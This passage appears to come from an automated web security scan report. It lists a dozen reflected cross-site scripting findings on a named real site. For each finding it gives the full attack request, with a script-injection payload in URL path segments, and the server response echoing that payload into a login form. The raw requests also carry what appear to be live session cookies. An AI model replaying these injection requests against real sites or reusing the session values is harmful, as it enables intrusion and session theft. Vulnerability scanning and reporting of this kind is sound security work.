User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-57a0127f294315b215c2b50e29f870d4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/print.css74725"><script>alert(1)</script>a742c99b4ff?20101008" method="post">
...[SNIP]...

1.321. http://www.watchmouse.com/assets/css/screen.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/screen.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c1dc"><script>alert(1)</script>f828aa78b0b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets1c1dc"><script>alert(1)</script>f828aa78b0b/css/screen.css?20101008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-d407bed3fbd7f370bb6dfbda2b8a22c7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets1c1dc"><script>alert(1)</script>f828aa78b0b/css/screen.css?20101008" method="post">
...[SNIP]...

1.322. http://www.watchmouse.com/assets/css/screen.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/screen.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2abab"><script>alert(1)</script>fd7f8590f5f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css2abab"><script>alert(1)</script>fd7f8590f5f/screen.css?20101008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-76b7dcfeff53e3908ddb4cad637ddebe"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css2abab"><script>alert(1)</script>fd7f8590f5f/screen.css?20101008" method="post">
...[SNIP]...

1.323. http://www.watchmouse.com/assets/css/screen.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/screen.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff752"><script>alert(1)</script>c6eccb65ad2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/screen.cssff752"><script>alert(1)</script>c6eccb65ad2?20101008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/plans_price.php
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:58 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-4d42bcb1e9b2f0608911865297dbee1e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/screen.cssff752"><script>alert(1)</script>c6eccb65ad2?20101008" method="post">
...[SNIP]...

1.324. http://www.watchmouse.com/assets/css/ui.smoothness.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/ui.smoothness.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a23b0"><script>alert(1)</script>cb2c7595e94 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetsa23b0"><script>alert(1)</script>cb2c7595e94/css/ui.smoothness.css HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.2.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-129ebd42525ec76e8e3d18e1f3f5d298"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetsa23b0"><script>alert(1)</script>cb2c7595e94/css/ui.smoothness.css" method="post">
...[SNIP]...

1.325. http://www.watchmouse.com/assets/css/ui.smoothness.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/ui.smoothness.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 916c6"><script>alert(1)</script>e7f74e3f049 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css916c6"><script>alert(1)</script>e7f74e3f049/ui.smoothness.css HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.2.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:52 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-a6a6d96e30d7ffd9fda6b414daac43ca"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css916c6"><script>alert(1)</script>e7f74e3f049/ui.smoothness.css" method="post">
...[SNIP]...

1.326. http://www.watchmouse.com/assets/css/ui.smoothness.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/css/ui.smoothness.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71d36"><script>alert(1)</script>5ea0dd8e008 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/css/ui.smoothness.css71d36"><script>alert(1)</script>5ea0dd8e008 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.2.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-01aa739febfeab6d423052f50e4f9af0"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/css/ui.smoothness.css71d36"><script>alert(1)</script>5ea0dd8e008" method="post">
...[SNIP]...

1.327. http://www.watchmouse.com/assets/docs/WatchMouse_Product_Features.pdf [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/docs/WatchMouse_Product_Features.pdf

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb49c"><script>alert(1)</script>a8ee1747e14 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetscb49c"><script>alert(1)</script>a8ee1747e14/docs/WatchMouse_Product_Features.pdf HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:06 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b204e0122919ba4cfffdd798cbeca3e3"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetscb49c"><script>alert(1)</script>a8ee1747e14/docs/WatchMouse_Product_Features.pdf" method="post">
...[SNIP]...

1.328. http://www.watchmouse.com/assets/docs/WatchMouse_Product_Features.pdf [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/docs/WatchMouse_Product_Features.pdf

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 417d0"><script>alert(1)</script>09f2126b4f5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/docs417d0"><script>alert(1)</script>09f2126b4f5/WatchMouse_Product_Features.pdf HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-92e2604f94e05e395fccd6ebdf443064"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/docs417d0"><script>alert(1)</script>09f2126b4f5/WatchMouse_Product_Features.pdf" method="post">
...[SNIP]...

1.329. http://www.watchmouse.com/assets/docs/WatchMouse_Product_Features.pdf [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/docs/WatchMouse_Product_Features.pdf

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29527"><script>alert(1)</script>a4496893305 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/docs/WatchMouse_Product_Features.pdf29527"><script>alert(1)</script>a4496893305 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:25 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f3d52e0e407d258d9f0b84e14f53b859"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/docs/WatchMouse_Product_Features.pdf29527"><script>alert(1)</script>a4496893305" method="post">
...[SNIP]...

1.330. http://www.watchmouse.com/assets/docs/WatchMouse_Scripting_Howto.pdf [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/docs/WatchMouse_Scripting_Howto.pdf

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4bbb"><script>alert(1)</script>cb0b92e2eeb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assetsf4bbb"><script>alert(1)</script>cb0b92e2eeb/docs/WatchMouse_Scripting_Howto.pdf HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:07 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2f151adf0c2cae404f426b6506106d8f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13325

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assetsf4bbb"><script>alert(1)</script>cb0b92e2eeb/docs/WatchMouse_Scripting_Howto.pdf" method="post">
...[SNIP]...

1.331. http://www.watchmouse.com/assets/docs/WatchMouse_Scripting_Howto.pdf [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/docs/WatchMouse_Scripting_Howto.pdf

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd0f5"><script>alert(1)</script>64740a47699 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/docsdd0f5"><script>alert(1)</script>64740a47699/WatchMouse_Scripting_Howto.pdf HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-12d4e3809c6570acced19d100b12faba"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13325

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/assets/docsdd0f5"><script>alert(1)</script>64740a47699/WatchMouse_Scripting_Howto.pdf" method="post">
...[SNIP]...

1.332. http://www.watchmouse.com/assets/docs/WatchMouse_Scripting_Howto.pdf [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/assets/docs/WatchMouse_Scripting_Howto.pdf

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac803"><script>alert(1)</script>161de0cf20a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /assets/docs/WatchMouse_Scripting_Howto.pdfac803"><script>alert(1)</script>161de0cf20a HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:25 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
